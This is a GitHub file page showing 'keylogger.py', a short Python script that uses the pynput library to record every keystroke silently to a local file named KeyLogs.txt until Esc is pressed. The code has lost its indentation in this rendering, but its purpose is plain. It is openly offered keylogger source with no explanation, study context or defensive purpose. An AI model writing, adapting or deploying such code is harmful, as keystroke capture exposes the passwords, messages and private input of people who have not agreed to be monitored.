Repository navigation
Expand file tree
/
Copy pathkeylogger.py
More file actions
61 lines (46 loc) · 1.47 KB
/
Copy pathkeylogger.py
File metadata and controls
61 lines (46 loc) · 1.47 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import pynput, subprocess
from pynput import keyboard
class KeyLogger:
def __init__(self):
super().__init__()
@staticmethod
def on_press(key):
if key == keyboard.Key.esc:
return False
f = open(r"KeyLogs.txt","a")
try:
if key == keyboard.Key.space:
f.write(" ")
elif key == keyboard.Key.enter:
f.write("\n")
else:
f.write(str(key.char))
print('Key {0} pressed'.format(key.char))
except AttributeError:
print('Key {0} pressed'.format(key))
f.close()
@staticmethod
def daemon(key):
if key == keyboard.Key.esc:
return False
f = open(r"KeyLogs.txt","a")
try:
if hasattr(key, 'char'):
if key == keyboard.Key.space:
f.write(" ")
elif key == keyboard.Key.enter:
f.write("\n")
else:
f.write(str(key.char))
except AttributeError as e:
print(e)
exit(-1)
f.close()
def start(self):
f = open("KeyLogs.txt", "w+")
with keyboard.Listener(on_press=self.on_press) as listener:
listener.join()
if __name__=="__main__":
f = open("KeyLogs.txt", "w+")
with keyboard.Listener(on_press=KeyLogger.daemon) as listener:
listener.join()